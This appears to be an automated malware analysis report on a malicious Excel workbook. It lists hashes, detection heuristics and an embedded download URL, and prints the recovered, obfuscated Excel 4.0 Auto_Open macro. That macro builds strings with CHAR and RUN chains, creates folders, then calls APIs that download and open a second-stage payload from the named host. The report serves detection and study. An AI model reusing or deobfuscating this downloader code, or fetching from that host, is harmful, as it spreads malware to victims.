Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3c16f85dcf51c6d5…

MALICIOUS

Office (OLE)

212.6 KB Created: 2020-03-18 13:43:58 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 5c540c3889d5ba55b00a090c2d7582de SHA-1: 20210171e47e95aab0915547be653523b5a37f13 SHA-256: 3c16f85dcf51c6d5233306ec66a75a084e93be09f6ba86077c2e9ec7e51366fb
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains Excel 4.0 macros, specifically an Auto_Open macro that utilizes dangerous functions like RUN and CHAR. The presence of ShellExecute and URLDownloadToFile API references indicates the macro is designed to download and execute external code. The macro script contains multiple RUN commands, suggesting it attempts to execute arbitrary commands, likely to fetch and run a second-stage payload from one of the embedded URLs.

Heuristics 6

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.chapeauartgallery.com/SUPPORTS/locals.php� In document text (OLE body)
    • https://www.chapeauartgallery.com/SUPPORTS/locals.php~In document text (OLE body)
    • https://www.chapeauartgalleryIn document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 28149 bytes
SHA-256: 9159f27ec1be29169bb96a819e59682102332d4438b06991c7ecaa6cd50efb4e
Preview script
First 1,000 lines of the extracted script
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  FBpKzqF
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  FBpKzqF!ID923 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  FBpKzqF,BM2,"",81.00000000000000000000
'  FBpKzqF,CF2,RUN(DU809),""
'  FBpKzqF,FI6,"",39.00000000000000000000
'  FBpKzqF,GF8,CHAR(FU1531-242),""
'  FBpKzqF,HX9,"",26.00000000000000000000
'  FBpKzqF,ET18,"",33.00000000000000000000
'  FBpKzqF,V27,RUN(HH1297),""
'  FBpKzqF,HD33,"",43.00000000000000000000
'  FBpKzqF,HJ34,CHAR(G1752-738),""
'  FBpKzqF,HJ35,RUN(FG1826),""
'  FBpKzqF,HY40,RUN(IH1500),""
'  FBpKzqF,JD47,RUN(CT429),""
'  FBpKzqF,GF48,"",60.00000000000000000000
'  FBpKzqF,FW52,"",75.00000000000000000000
'  FBpKzqF,CH54,"",853.00000000000000000000
'  FBpKzqF,JN58,CHAR(FZ1423-242),""
'  FBpKzqF,CH60,IY1418,""
'  FBpKzqF,EE66,"",972.00000000000000000000
'  FBpKzqF,BC67,"",779.00000000000000000000
'  FBpKzqF,BU68,"",962.00000000000000000000
'  FBpKzqF,GE72,RUN(IW252),""
'  FBpKzqF,IN72,"",785.00000000000000000000
'  FBpKzqF,JK76,"",796.00000000000000000000
'  FBpKzqF,DY79,"",91.00000000000000000000
'  FBpKzqF,IN79,"",855.00000000000000000000
'  FBpKzqF,CB80,CHAR(EB1316-738),""
'  FBpKzqF,CF80,"",14.00000000000000000000
'  FBpKzqF,CB81,RUN(BR127),""
'  FBpKzqF,JA82,"",1.00000000000000000000
'  FBpKzqF,BX90,RUN(IX1711),""
'  FBpKzqF,GO94,RUN(BZ493),""
'  FBpKzqF,JG95,CHAR(ED1817-852),""
'  FBpKzqF,FV103,"",65.00000000000000000000
'  FBpKzqF,DB104,"",24.00000000000000000000
'  FBpKzqF,EE104,CHAR(CZ738-242),""
'  FBpKzqF,V106,"",5.00000000000000000000
'  FBpKzqF,GC107,"",37.00000000000000000000
'  FBpKzqF,EV108,"",852.00000000000000000000
'  FBpKzqF,IG112,"",839.00000000000000000000
'  FBpKzqF,GO113,CHAR(S210-852),""
'  FBpKzqF,FO117,"",49.00000000000000000000
'  FBpKzqF,GX125,"",66.00000000000000000000
'  FBpKzqF,EJ126,"",87.00000000000000000000
'  FBpKzqF,JK126,"",12.00000000000000000000
'  FBpKzqF,BR127,CHAR(GZ325-738),""
'  FBpKzqF,FL127,"",24.00000000000000000000
'  FBpKzqF,BR128,RUN(DS1912),""
'  FBpKzqF,DF134,"",85.00000000000000000000
'  FBpKzqF,GF135,"",963.00000000000000000000
'  FBpKzqF,HF140,"",6.00000000000000000000
'  FBpKzqF,JB141,"",342.00000000000000000000
'  FBpKzqF,CH149,"",98.00000000000000000000
'  FBpKzqF,HE155,"",22.00000000000000000000
'  FBpKzqF,EU163,RUN(DU930),""
'  FBpKzqF,B166,"",70.00000000000000000000
'  FBpKzqF,BB166,"",33.00000000000000000000
'  FBpKzqF,BF169,"",837.00000000000000000000
'  FBpKzqF,IH169,CHAR(HY890-738),""
'  FBpKzqF,IH170,RUN(EY821),""
'  FBpKzqF,BH173,"",820.00000000000000000000
'  FBpKzqF,BN182,"",0.00000000000000000000
'  FBpKzqF,GA184,CHAR(GF135-852),""
'  FBpKzqF,CW186,"",27.00000000000000000000
'  FBpKzqF,HX186,RUN(IA1639),""
'  FBpKzqF,FN187,CHAR(FB290-852),""
'  FBpKzqF,CR193,CHAR(IE1929-852),""
'  FBpKzqF,E194,"",28.00000000000000000000
'  FBpKzqF,EE195,"",53.00000000000000000000
'  FBpKzqF,EZ209,RUN(GF1212),""
'  FBpKzqF,S210,"",937.00000000000000000000
'  FBpKzqF,HW210,RUN(DC1058),""
'  FBpKzqF,HR214,RUN(DG1903),""
'  FBpKzqF,DT215,"",25.00000000000000000000
'  FBpKzqF,DO216,RUN(GU1140),""
'  FBpKzqF,FJ217,CHAR(BU68-852),""
'  FBpKzqF,FG218,"",65.00000000000000000000
'  FBpKzqF,GJ218,"",29.00000000000000000000
'  FBpKzqF,EJ223,"",39.00000000000000000000
'  FBpKzqF,BC225,RUN(DB933),""
'  FBpKzqF,HK225,"",92.00000000000000000000
'  FBpKzqF,FJ226,CHAR(CZ1413-852),""
'  FBpKzqF,IH252,RUN(EZ209),""
'  FBpKzqF,IW252,RUN(Q1987),""
'  FBpKzqF,DI253,CONCATENATE(M1946),""
'  FBpKzqF,FW253,CHAR(EZ1366-675),""
'  FBpKzqF,EZ257,"",91.00000000000000000000
'  FBpKzqF,R261,"",48.00000000000000000000
'  FBpKzqF,BH262,"",61.00000000000000000000
'  FBpKzqF,IT262,"",64.00000000000000000000
'  FBpKzqF,I264,"",24.00000000000000000000
'  FBpKzqF,FW268,CHAR(DA684-738),""
'  FBpKzqF,CW269,"",11.00000000000000000000
'  FBpKzqF,FW269,RUN(CG1607),""
'  FBpKzqF,G285,"",16.00000000000000000000
'  FBpKzqF,FB290,"",968.00000000000000000000
'  FBpKzqF,CN293,"",837.00000000000000000000
'  FBpKzqF,DI299,CHAR(FM1947-675),""
'  FBpKzqF,HL301,"",960.00000000000000000000
'  FBpKzqF,J304,"",35.00000000000000000000
'  FBpKzqF,GH305,"",1.00000000000000000000
'  FBpKzqF,BZ306,"",725.00000000000000000000
'  FBpKzqF,GB306,"",917.00000000000000000000
'  FBpKzqF,BX313,"",97.00000000000000000000
'  FBpKzqF,GD316,"",8.00000000000000000000
'  FBpKzqF,FB318,"",347.00000000000000000000
'  FBpKzqF,GZ325,"",846.00000000000000000000
'  FBpKzqF,V328,RUN(IQ1184),""
'  FBpKzqF,BQ331,"",81.00000000000000000000
'  FBpKzqF,JF341,"",50.00000000000000000000
'  FBpKzqF,JK342,RUN(P394),""
'  FBpKzqF,BL344,CHAR(GK366-242),""
'  FBpKzqF,EL344,"",922.00000000000000000000
'  FBpKzqF,BM351,"",54.00000000000000000000
'  FBpKzqF,ER363,"",56.00000000000000000000
'  FBpKzqF,GK366,"",308.00000000000000000000
'  FBpKzqF,HM366,RUN(CX1185),""
'  FBpKzqF,BE370,"",69.00000000000000000000
'  FBpKzqF,BT374,CHAR(CP953-738),""
'  FBpKzqF,FX374,"",753.00000000000000000000
'  FBpKzqF,HU374,"",857.00000000000000000000
'  FBpKzqF,BT375,RUN(CC1513),""
'  FBpKzqF,CQ377,CHAR(EE66-852),""
'  FBpKzqF,IO379,"",5.00000000000000000000
'  FBpKzqF,FF389,RUN(FK786),""
'  FBpKzqF,DM391,"",853.00000000000000000000
'  FBpKzqF,FC391,"",822.00000000000000000000
'  FBpKzqF,P394,RUN(FC843),""
'  FBpKzqF,EC395,"CONCATENATE(FW253,CZ1649,DU1097,EG1306,DI1019,CR1812)",""
'  FBpKzqF,IO397,"",784.00000000000000000000
'  FBpKzqF,IZ398,CHAR(EL344-852),""
'  FBpKzqF,GX403,CHAR(FL665-738),""
'  FBpKzqF,GX404,RUN(IW1315),""
'  FBpKzqF,FC405,"",776.00000000000000000000
'  FBpKzqF,IP410,"",94.00000000000000000000
'  FBpKzqF,JB413,RUN(FN473),""
'  FBpKzqF,CU418,"",89.00000000000000000000
'  FBpKzqF,IN419,"",362.00000000000000000000
'  FBpKzqF,JM420,RUN(CA973),""
'  FBpKzqF,EV424,RUN(JG576),""
'  FBpKzqF,HU425,"",60.00000000000000000000
'  FBpKzqF,CT429,RUN(HM1212),""
'  FBpKzqF,HR429,"",854.00000000000000000000
'  FBpKzqF,FL434,"",758.00000000000000000000
'  FBpKzqF,D436,"",835.00000000000000000000
'  FBpKzqF,BN437,"",79.00000000000000000000
'  FBpKzqF,GH442,RUN(IH1253),""
'  FBpKzqF,G451,"",28.00000000000000000000
'  FBpKzqF,JI455,"",784.00000000000000000000
'  FBpKzqF,CA457,RUN(IH252),""
'  FBpKzqF,FL457,"",329.00000000000000000000
'  FBpKzqF,FA458,"",10.00000000000000000000
'  FBpKzqF,DF459,CHAR(HQ919-738),""
'  FBpKzqF,DF460,RUN(ES1448),""
'  FBpKzqF,BV465,"",64.00000000000000000000
'  FBpKzqF,JL468,"",40.00000000000000000000
'  FBpKzqF,FN473,RUN(CF2),""
'  FBpKzqF,DF474,RUN(HM366),""
'  FBpKzqF,IW476,"",10.00000000000000000000
'  FBpKzqF,BY485,CHAR(BO1596-738),""
'  FBpKzqF,JO485,"",69.00000000000000000000
'  FBpKzqF,BY486,RUN(GB974),""
'  FBpKzqF,FS487,"",89.00000000000000000000
'  FBpKzqF,GZ491,"",47.00000000000000000000
'  FBpKzqF,BZ493,RUN(HY40),""
'  FBpKzqF,FF497,"",288.00000000000000000000
'  FBpKzqF,IS504,"",960.00000000000000000000
'  FBpKzqF,GU509,CHAR(BH173-738),""
'  FBpKzqF,GU510,RUN(EV518),""
'  FBpKzqF,FV511,CHAR(CI1859-738),""
'  FBpKzqF,FV512,RUN(FW268),""
'  FBpKzqF,IM516,"",27.00000000000000000000
'  FBpKzqF,EV518,CHAR(FC391-738),""
'  FBpKzqF,EV519,RUN(HJ1772),""
'  FBpKzqF,IX524,"",839.00000000000000000000
'  FBpKzqF,ID526,RUN(DO1085),""
'  FBpKzqF,EC532,RUN(HY1967),""
'  FBpKzqF,FW539,"",56.00000000000000000000
'  FBpKzqF,FG543,CHAR(HU374-738),""
'  FBpKzqF,FG544,RUN(BY485),""
'  FBpKzqF,IM545,"",64.00000000000000000000
'  FBpKzqF,CB551,RUN(ID923),""
'  FBpKzqF,X556,"",26.00000000000000000000
'  FBpKzqF,CI562,"",345.00000000000000000000
'  FBpKzqF,GE567,RUN(EJ1301),""
'  FBpKzqF,IF574,"",35.00000000000000000000
'  FBpKzqF,JG576,RUN(JG694),""
'  FBpKzqF,HZ578,CHAR(H1594-242),""
'  FBpKzqF,GS583,"",10.00000000000000000000
'  FBpKzqF,FG584,"",14.00000000000000000000
'  FBpKzqF,CW585,"",963.00000000000000000000
'  FBpKzqF,CG587,"",14.00000000000000000000
'  FBpKzqF,IQ588,CHAR(GB306-852),""
'  FBpKzqF,JN590,"",65.00000000000000000000
'  FBpKzqF,DW592,"",81.00000000000000000000
'  FBpKzqF,JC597,"",37.00000000000000000000
'  FBpKzqF,CO599,RUN(EC532),""
'  FBpKzqF,CU601,"",928.00000000000000000000
'  FBpKzqF,JM603,"",61.00000000000000000000
'  FBpKzqF,CB605,"",52.00000000000000000000
'  FBpKzqF,HN607,"",31.00000000000000000000
'  FBpKzqF,DI613,CHAR(DA1329-242),""
'  FBpKzqF,BT624,CHAR(FF497-242),""
'  FBpKzqF,FC626,"",783.00000000000000000000
'  FBpKzqF,BB629,CHAR(BT1527-852),""
'  FBpKzqF,DB631,RUN(GF685),""
'  FBpKzqF,CB634,CHAR(R660-242),""
'  FBpKzqF,DA639,"",77.00000000000000000000
'  FBpKzqF,EF645,RUN(EL1004),""
'  FBpKzqF,FA645,"",963.00000000000000000000
'  FBpKzqF,DD647,"",80.00000000000000000000
'  FBpKzqF,CI649,RUN(V27),""
'  FBpKzqF,M651,"",58.00000000000000000000
'  FBpKzqF,R660,"",357.00000000000000000000
'  FBpKzqF,ED664,RUN(CA457),""
'  FBpKzqF,FL665,"",837.00000000000000000000
'  FBpKzqF,I674,"",42.00000000000000000000
'  FBpKzqF,FN675,CHAR(II723-738),""
'  FBpKzqF,JJ675,"",920.00000000000000000000
'  FBpKzqF,FN676,RUN(FZ1731),""
'  FBpKzqF,BM677,"",73.00000000000000000000
'  FBpKzqF,CL681,"",61.00000000000000000000
'  FBpKzqF,DA684,"",846.00000000000000000000
'  FBpKzqF,GF685,RUN(JO978),""
'  FBpKzqF,DV693,RUN(EV424),""
'  FBpKzqF,JG694,RUN(CB551),""
'  FBpKzqF,GZ695,"",55.00000000000000000000
'  FBpKzqF,EF696,RUN(HM1214),""
'  FBpKzqF,EF697,RUN(HK603),""
'  FBpKzqF,S698,"",44.00000000000000000000
'  FBpKzqF,FG700,RUN(BJ1885),""
'  FBpKzqF,IF709,"",956.00000000000000000000
'  FBpKzqF,DI715,RUN(BC225),""
'  FBpKzqF,EP720,"",50.00000000000000000000
'  FBpKzqF,II723,"",821.00000000000000000000
'  FBpKzqF,DJ737,"",89.00000000000000000000
'  FBpKzqF,CZ738,"",360.00000000000000000000
'  FBpKzqF,JH738,"",852.00000000000000000000
'  FBpKzqF,DI739,"",8.00000000000000000000
'  FBpKzqF,FB743,CHAR(IS504-852),""
'  FBpKzqF,BM750,"",1.00000000000000000000
'  FBpKzqF,IS750,"",835.00000000000000000000
'  FBpKzqF,DR755,"",95.00000000000000000000
'  FBpKzqF,ES759,CHAR(BX1614-738),""
'  FBpKzqF,FI759,RUN(DG1801),""
'  FBpKzqF,ID759,"",96.00000000000000000000
'  FBpKzqF,ES760,RUN(BM925),""
'  FBpKzqF,BF762,"",12.00000000000000000000
'  FBpKzqF,DC763,"",16.00000000000000000000
'  FBpKzqF,FK770,CHAR(CJ1712-852),""
'  FBpKzqF,DI771,"",343.00000000000000000000
'  FBpKzqF,II772,RUN(DI715),""
'  FBpKzqF,EA784,"",751.00000000000000000000
'  FBpKzqF,FK786,RUN(ES1903),""
'  FBpKzqF,CU790,CHAR(FC405-675),""
'  FBpKzqF,GU791,"",24.00000000000000000000
'  FBpKzqF,B795,"",23.00000000000000000000
'  FBpKzqF,GD803,"",14.00000000000000000000
'  FBpKzqF,DU809,RUN(V328),""
'  FBpKzqF,EY821,CHAR(DU1896-738),""
'  FBpKzqF,EY822,RUN(GU509),""
'  FBpKzqF,FE825,"",49.00000000000000000000
'  FBpKzqF,DN828,CHAR(BM833-242),""
'  FBpKzqF,GY829,CHAR(DI771-242),""
'  FBpKzqF,FR830,"",934.00000000000000000000
'  FBpKzqF,IZ831,CHAR(FA1937-852),""
'  FBpKzqF,EO832,"",47.00000000000000000000
'  FBpKzqF,BM833,"",334.00000000000000000000
'  FBpKzqF,CE833,CHAR(GD1333-738),""
'  FBpKzqF,CE834,RUN(L1111),""
'  FBpKzqF,EN834,RUN(ED664),""
'  FBpKzqF,HR836,"",957.00000000000000000000
'  FBpKzqF,DS840,"",334.00000000000000000000
'  FBpKzqF,FC843,RUN(EF1367),""
'  FBpKzqF,DC844,CHAR(CU601-852),""
'  FBpKzqF,CG847,"",5.00000000000000000000
'  FBpKzqF,CX868,"",32.00000000000000000000
'  FBpKzqF,CJ872,CHAR(DN1465-242),""
'  FBpKzqF,IE872,CHAR(BF169-738),""
'  FBpKzqF,IE873,RUN(FJ1145),""
'  FBpKzqF,DD875,RUN(II772),""
'  FBpKzqF,IB882,"",35.00000000000000000000
'  FBpKzqF,DF883,"",842.00000000000000000000
'  FBpKzqF,HL886,"",859.00000000000000000000
'  FBpKzqF,HY890,"",818.00000000000000000000
'  FBpKzqF,IL894,"",757.00000000000000000000
'  FBpKzqF,BI896,"",15.00000000000000000000
'  FBpKzqF,DO899,CHAR(CH54-738),""
'  FBpKzqF,DO900,RUN(GT1869),""
'  FBpKzqF,EZ900,CHAR(IN419-242),""
'  FBpKzqF,CP902,"",4.00000000000000000000
'  FBpKzqF,CM910,CHAR(FS1782-242),""
'  FBpKzqF,HL910,"",16.00000000000000000000
'  FBpKzqF,CS916,CHAR(HS1841-852),""
'  FBpKzqF,HQ919,"",785.00000000000000000000
'  FBpKzqF,IM919,"",49.00000000000000000000
'  FBpKzqF,ID923,RUN(IW1041),""
'  FBpKzqF,BM925,CHAR(IS750-738),""
'  FBpKzqF,CX925,"",850.00000000000000000000
'  FBpKzqF,BM926,RUN(CB80),""
'  FBpKzqF,DP930,CHAR(JH738-738),""
'  FBpKzqF,DU930,RUN(JM420),""
'  FBpKzqF,DP931,RUN(JH1585),""
'  FBpKzqF,DB933,RUN(CI649),""
'  FBpKzqF,CD935,RUN(M1804),""
'  FBpKzqF,Y941,CHAR(IN79-738),""
'  FBpKzqF,Y942,RUN(FL1149),""
'  FBpKzqF,JA942,"",33.00000000000000000000
'  FBpKzqF,IL947,RUN(HG1411),""
'  FBpKzqF,FD949,CHAR(GJ1514-852),""
'  FBpKzqF,CP953,"",784.00000000000000000000
'  FBpKzqF,IF954,CONCATENATE(EC395),""
'  FBpKzqF,FH965,"",47.00000000000000000000
'  FBpKzqF,GH970,"",2.00000000000000000000
'  FBpKzqF,FG971,RUN(DC1494),""
'  FBpKzqF,DU972,"",91.00000000000000000000
'  FBpKzqF,CA973,RUN(HL1798),""
'  FBpKzqF,GB974,CHAR(IO397-738),""
'  FBpKzqF,GB975,RUN(GX403),""
'  FBpKzqF,JO978,RUN(DD1786),""
'  FBpKzqF,BS982,CHAR(DT1334-852),""
'  FBpKzqF,IY984,"",9.00000000000000000000
'  FBpKzqF,BO991,"",86.00000000000000000000
'  FBpKzqF,JD991,"",71.00000000000000000000
'  FBpKzqF,BX999,"",16.00000000000000000000
'  FBpKzqF,HV1001,"",308.00000000000000000000
'  FBpKzqF,HJ1002,"",5.00000000000000000000
'  FBpKzqF,EL1004,RUN(EN834),""
'  FBpKzqF,HZ1005,"",90.00000000000000000000
'  FBpKzqF,S1009,"",56.00000000000000000000
'  FBpKzqF,DN1015,"",53.00000000000000000000
'  FBpKzqF,D1018,"",29.00000000000000000000
'  FBpKzqF,DI1019,CHAR(BI1227-675),""
'  FBpKzqF,K1029,"",91.00000000000000000000
'  FBpKzqF,IW1041,RUN(CV1784),""
'  FBpKzqF,GX1045,"",28.00000000000000000000
'  FBpKzqF,GJ1048,"",38.00000000000000000000
'  FBpKzqF,DC1058,RUN(JD47),""
'  FBpKzqF,FQ1059,"",835.00000000000000000000
'  FBpKzqF,DB1062,CHAR(HV1001-242),""
'  FBpKzqF,DH1062,CHAR(EB1370-242),""
'  FBpKzqF,CQ1064,"",39.00000000000000000000
'  FBpKzqF,HG1069,"",3.00000000000000000000
'  FBpKzqF,HZ1072,CHAR(BC67-675),""
'  FBpKzqF,DV1080,"",846.00000000000000000000
'  FBpKzqF,HS1083,"",66.00000000000000000000
'  FBpKzqF,L1084,"",13.00000000000000000000
'  FBpKzqF,DO1085,RUN(DZ1516),""
'  FBpKzqF,FA1088,"",854.00000000000000000000
'  FBpKzqF,FY1088,RUN(JB413),""
'  FBpKzqF,GV1092,"",935.00000000000000000000
'  FBpKzqF,JJ1096,"",952.00000000000000000000
'  FBpKzqF,DU1097,CHAR(EA784-675),""
'  FBpKzqF,HO1099,"",850.00000000000000000000
'  FBpKzqF,GH1103,"",79.00000000000000000000
'  FBpKzqF,FB1108,"",99.00000000000000000000
'  FBpKzqF,B1110,"",31.00000000000000000000
'  FBpKzqF,L1111,CHAR(FJ1338-738),""
'  FBpKzqF,L1112,RUN(X1378),""
'  FBpKzqF,HI1116,"",72.00000000000000000000
'  FBpKzqF,JC1116,"",921.00000000000000000000
'  FBpKzqF,JK1122,CHAR(FR830-852),""
'  FBpKzqF,DN1123,"",68.00000000000000000000
'  FBpKzqF,EN1135,"",311.00000000000000000000
'  FBpKzqF,E1136,CHAR(JC1116-852),""
'  FBpKzqF,GU1140,RUN(EZ1932),""
'  FBpKzqF,CQ1142,CHAR(FL434-675),""
'  FBpKzqF,FJ1145,CHAR(IQ1255-738),""
'  FBpKzqF,FJ1146,RUN(BX1566),""
'  FBpKzqF,Z1148,"CONCATENATE(HD1408,W1853,FD949,EV1991,FJ226,E1136,CQ377,BS982,BB629,JG95,FN187,EW1511,IQ588)",""
'  FBpKzqF,FL1149,CHAR(D436-738),""
'  FBpKzqF,FL1150,RUN(DP930),""
'  FBpKzqF,BT1153,"",72.00000000000000000000
'  FBpKzqF,DS1154,"",86.00000000000000000000
'  FBpKzqF,CI1175,"",1.00000000000000000000
'  FBpKzqF,CK1176,"",49.00000000000000000000
'  FBpKzqF,IA1177,"",81.00000000000000000000
'  FBpKzqF,HB1178,CHAR(FS1262-738),""
'  FBpKzqF,HB1179,RUN(GH1936),""
'  FBpKzqF,P1181,"",37.00000000000000000000
'  FBpKzqF,IQ1184,RUN(CO599),""
'  FBpKzqF,CX1185,RUN(DB631),""
'  FBpKzqF,GR1185,RUN(DA1951),""
'  FBpKzqF,HW1190,CHAR(JO1291-242),""
'  FBpKzqF,JI1197,CHAR(HS1933-242),""
'  FBpKzqF,DK1198,RUN(HR214),""
'  FBpKzqF,IH1198,RUN(HX186),""
'  FBpKzqF,FY1201,RUN(EF645),""
'  FBpKzqF,EO1209,"",52.00000000000000000000
'  FBpKzqF,CY1212,CHAR(FC626-675),""
'  FBpKzqF,GF1212,RUN(A1569),""
'  FBpKzqF,HM1212,"CALL("Kernel32","CreateDirectoryA","JCJ","C:\WpvEsYh",0)",""
'  FBpKzqF,EG1213,"",847.00000000000000000000
'  FBpKzqF,HM1213,RUN(CE833),""
'  FBpKzqF,HM1214,"CALL("Kernel32","CreateDirectoryA","JCJ","C:\WpvEsYh\iglJQXB",0)",""
'  FBpKzqF,HM1215,"CALL(IF954,DI253,"JJCCJJ",0,CH60,ET1587,0,0)",""
'  FBpKzqF,HM1216,"CALL(L1772,S1249,"JJCCCCJ",0,"Open",ET1587,,0,0)",""
'  FBpKzqF,HM1217,HALT(),""
'  FBpKzqF,IK1218,CHAR(GQ1935-242),""
'  FBpKzqF,GF1220,"",22.00000000000000000000
'  FBpKzqF,BI1227,"",754.00000000000000000000
'  FBpKzqF,BM1227,CHAR(CI562-242),""
'  FBpKzqF,IH1227,"",51.00000000000000000000
'  FBpKzqF,HU1232,CHAR(JB141-242),""
'  FBpKzqF,M1234,"CONCATENATE(JI1197,CJ872,DN828,P1652,DI613,EE104,DS1253,CB634,EI1678,DH1062,CT1601,CF1874,BM1227,IK1218,A1464,HX1305,HW1190,DB1062,GF8,DQ1899,HZ578,HU1232,JO1831,JN58,CM910,BL344,BT624,GY829,EZ900)",""
'  FBpKzqF,HA1238,"",31.00000000000000000000
'  FBpKzqF,BG1242,"",74.00000000000000000000
'  FBpKzqF,S1249,CONCATENATE(Z1148),""
'  FBpKzqF,DS1253,CHAR(EN1135-242),""
'  FBpKzqF,IH1253,RUN(DJ1518),""
'  FBpKzqF,IQ1255,"",849.00000000000000000000
'  FBpKzqF,FS1262,"",850.00000000000000000000
'  FBpKzqF,H1266,RUN(EU163),""
'  FBpKzqF,JG1278,"",26.00000000000000000000
'  FBpKzqF,CB1281,CHAR(EV108-738),""
'  FBpKzqF,CB1282,RUN(IV1476),""
'  FBpKzqF,JO1291,"",330.00000000000000000000
'  FBpKzqF,DI1292,RUN(DD875),""
'  FBpKzqF,HH1297,RUN(FF389),""
'  FBpKzqF,EJ1301,RUN(DO216),""
'  FBpKzqF,R1304,"",82.00000000000000000000
'  FBpKzqF,HX1305,CHAR(BX1794-242),""
'  FBpKzqF,EG1306,CHAR(Z1994-675),""
'  FBpKzqF,L1309,"",953.00000000000000000000
'  FBpKzqF,CC1310,"",41.00000000000000000000
'  FBpKzqF,C1311,"",93.00000000000000000000
'  FBpKzqF,JO1314,"",75.00000000000000000000
'  FBpKzqF,IW1315,CHAR(DF883-738),""
'  FBpKzqF,EB1316,"",846.00000000000000000000
'  FBpKzqF,IW1316,RUN(IN1962),""
'  FBpKzqF,O1319,"",81.00000000000000000000
'  FBpKzqF,HE1322,"",83.00000000000000000000
'  FBpKzqF,IB1327,"",30.00000000000000000000
'  FBpKzqF,DA1329,"",354.00000000000000000000
'  FBpKzqF,CE1332,"",842.00000000000000000000
'  FBpKzqF,GD1333,"",842.00000000000000000000
'  FBpKzqF,DT1334,"",953.00000000000000000000
'  FBpKzqF,BH1335,"CONCATENATE(JG1689,IE872,FJ1145,BX1566,CJ1470,FN675,FZ1731,GS1835,IH169,EY821,GU509,EV518,HJ1772,DZ1653,FP1562,HJ34,FG1826,FV511,FW268,CG1607,BT374,CC1513,EL1635,EF696)",""
'  FBpKzqF,FJ1338,"",854.00000000000000000000
'  FBpKzqF,BF1355,"",835.00000000000000000000
'  FBpKzqF,CL1355,"",821.00000000000000000000
'  FBpKzqF,HX1355,RUN(EM1515),""
'  FBpKzqF,JJ1365,"",50.00000000000000000000
'  FBpKzqF,EZ1366,"",760.00000000000000000000
'  FBpKzqF,EF1367,RUN(GE567),""
'  FBpKzqF,IW1367,"",0.00000000000000000000
'  FBpKzqF,FY1369,"",5.00000000000000000000
'  FBpKzqF,EB1370,"",346.00000000000000000000
'  FBpKzqF,JF1372,CHAR(BZ306-675),""
'  FBpKzqF,GD1374,"",40.00000000000000000000
'  FBpKzqF,HY1375,"",346.00000000000000000000
'  FBpKzqF,X1378,CHAR(FA1088-738),""
'  FBpKzqF,X1379,RUN(FH1557),""
'  FBpKzqF,U1392,"",38.00000000000000000000
'  FBpKzqF,GV1394,"",75.00000000000000000000
'  FBpKzqF,HD1408,CHAR(GV1092-852),""
'  FBpKzqF,CE1410,"",85.00000000000000000000
'  FBpKzqF,HG1411,RUN(JK342),""
'  FBpKzqF,CZ1413,"",960.00000000000000000000
'  FBpKzqF,IY1418,"CONCATENATE(CD1606,BH1335)",""
'  FBpKzqF,FZ1423,"",348.00000000000000000000
'  FBpKzqF,JO1423,"",85.00000000000000000000
'  FBpKzqF,CW1424,"",55.00000000000000000000
'  FBpKzqF,EU1426,"",70.00000000000000000000
'  FBpKzqF,CV1428,"",43.00000000000000000000
'  FBpKzqF,GL1442,"",81.00000000000000000000
'  FBpKzqF,BA1443,"",785.00000000000000000000
'  FBpKzqF,ES1448,CHAR(C1651-738),""
'  FBpKzqF,CP1449,"",35.00000000000000000000
'  FBpKzqF,ES1449,RUN(FG543),""
'  FBpKzqF,CD1456,RUN(FW1556),""
'  FBpKzqF,A1464,CHAR(BD1762-242),""
'  FBpKzqF,DN1465,"",300.00000000000000000000
'  FBpKzqF,DF1466,"",98.00000000000000000000
'  FBpKzqF,ID1467,"",34.00000000000000000000
'  FBpKzqF,EL1468,"",35.00000000000000000000
'  FBpKzqF,CJ1470,CHAR(BA1443-738),""
'  FBpKzqF,CJ1471,RUN(FN675),""
'  FBpKzqF,EO1473,"",97.00000000000000000000
'  FBpKzqF,IV1476,CHAR(HL886-738),""
'  FBpKzqF,IV1477,RUN(JG1689),""
'  FBpKzqF,CU1485,"",87.00000000000000000000
'  FBpKzqF,BS1486,RUN(GE72),""
'  FBpKzqF,G1487,RUN(HW210),""
'  FBpKzqF,IF1487,"",83.00000000000000000000
'  FBpKzqF,DM1489,"",971.00000000000000000000
'  FBpKzqF,IF1491,RUN(FY1088),""
'  FBpKzqF,DC1494,RUN(IU1587),""
'  FBpKzqF,IH1500,RUN(DF474),""
'  FBpKzqF,CQ1509,"",38.00000000000000000000
'  FBpKzqF,EW1511,CHAR(L1309-852),""
